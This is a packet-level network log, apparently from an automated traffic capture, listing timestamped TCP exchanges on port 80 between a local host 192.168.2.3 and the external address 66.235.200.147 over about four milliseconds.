Dec 5, 2022 06:44:36.496706009 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.496718884 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496721029 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.496737003 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496737957 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.496756077 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496759892 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.496774912 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496778011 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.496793985 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496795893 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.496813059 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.496814013 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496833086 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496834993 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.496851921 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496865988 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.496880054 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496882915 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.496891975 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.496900082 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496917963 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496921062 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.496937037 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496941090 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.496953011 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.496956110 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496974945 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496974945 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.496992111 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.496997118 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.497009039 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.497010946 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.497030020 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.497034073 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.497056007 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.497061014 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.497067928 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.497080088 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.497097969 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.497124910 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.497129917 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.497142076 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.497155905 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.497162104 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.497180939 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.497183084 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.497199059 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.497205973 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.497216940 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.497229099 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.497234106 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.497243881 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.497252941 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.497256994 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.497272015 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.497281075 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.497287989 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.497293949 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.497306108 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.497308016 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.497323990 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.497329950 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.497343063 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.497351885 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.497364044 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.497385979 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.497402906 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.497513056 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.497565031 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.497627020 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.497731924 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.497790098 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.497838974 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.498079062 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.498136997 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.498219967 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.498238087 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.498255014 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.498267889 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.498272896 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.498291969 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.498301983 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.498310089 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.498325109 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.498327971 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.498348951 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.498357058 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.498367071 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.498379946 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.498384953 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.498404980 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.498406887 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.498424053 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.498430967 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.498442888 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.498456001 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.498461962 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.498471022 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.498481035 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.498492002 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.498500109 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.498507023 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.498514891 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.498522043 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.498533964 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.498543978 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.498553038 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.498555899 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.498570919 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.498578072 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.498589993 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.498589039 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.498610020 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.498625040 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.498630047 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.498639107 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.498651028 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.498653889 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.498670101 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.498672962 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.498687983 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.498691082 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.498708010 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.498711109 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.498727083 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.498727083 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.498748064 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.498748064 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.498768091 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.498768091 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.498788118 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.498789072 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.498806953 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.498807907 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.498823881 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.498831987 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.498842955 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.498847961 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.498862028 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.498862028 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.498889923 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.498922110 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.498924017 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.498943090 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.498964071 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.498984098 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.498992920 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499001980 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499018908 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499022007 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499042034 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499049902 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499059916 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499070883 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499078989 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499098063 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499098063 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499109030 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499118090 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499130011 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499138117 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499144077 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499159098 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499172926 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499172926 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499177933 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499197006 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499203920 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499214888 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499216080 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499236107 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499238014 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499254942 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499257088 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499274969 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499289036 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499294996 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499300003 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499315023 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499326944 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499332905 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499339104 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499351978 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499352932 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499370098 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499373913 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499387980 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499396086 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499408007 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499408007 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499428988 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499430895 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499448061 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499455929 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499465942 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499469995 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499485016 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499486923 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499507904 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499507904 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499527931 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499533892 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499545097 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499548912 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499566078 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499583006 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499584913 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499593019 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499605894 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499617100 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499624968 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499629021 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499641895 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499644041 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499660015 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499665976 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499685049 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499703884 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499705076 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499722958 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499733925 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499742031 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499752045 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499762058 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499779940 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499779940 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499794960 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499798059 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499810934 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499818087 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499828100 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499838114 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499845982 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499857903 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499865055 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499876022 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499880075 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499896049 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499898911 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499916077 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499917030 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499932051 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499936104 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499954939 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499962091 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499974012 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.499979019 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.499993086 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500000000 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500011921 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500016928 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500030994 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500047922 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500049114 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500066042 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500067949 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500078917 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500086069 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500103951 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500103951 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500117064 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500123024 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500128984 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500143051 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500154018 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500174999 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500180960 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500191927 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500194073 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500211000 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500230074 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500236034 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500247002 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500260115 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500266075 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500283957 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500284910 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500297070 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500303030 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500317097 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500322104 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500332117 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500340939 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500349045 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500359058 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500360012 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500379086 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500380039 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500400066 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500405073 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500418901 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500421047 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500437975 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500437975 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500454903 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500457048 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500474930 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500482082 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500493050 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500499964 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500514984 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500519991 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500533104 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500545979 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500550985 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500560045 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500569105 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500582933 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500588894 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500597000 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500608921 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500623941 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500629902 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500636101 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500648975 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500649929 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500667095 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500669003 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500685930 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500704050 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500714064 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500720978 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500734091 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500740051 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500756979 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500760078 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500775099 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500782013 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500792980 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500808954 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500811100 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500829935 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500829935 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500830889 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500847101 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500849962 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500864983 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.500864983 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.500885010 CET	80	49704	66.235.200.147	192.168.2.3
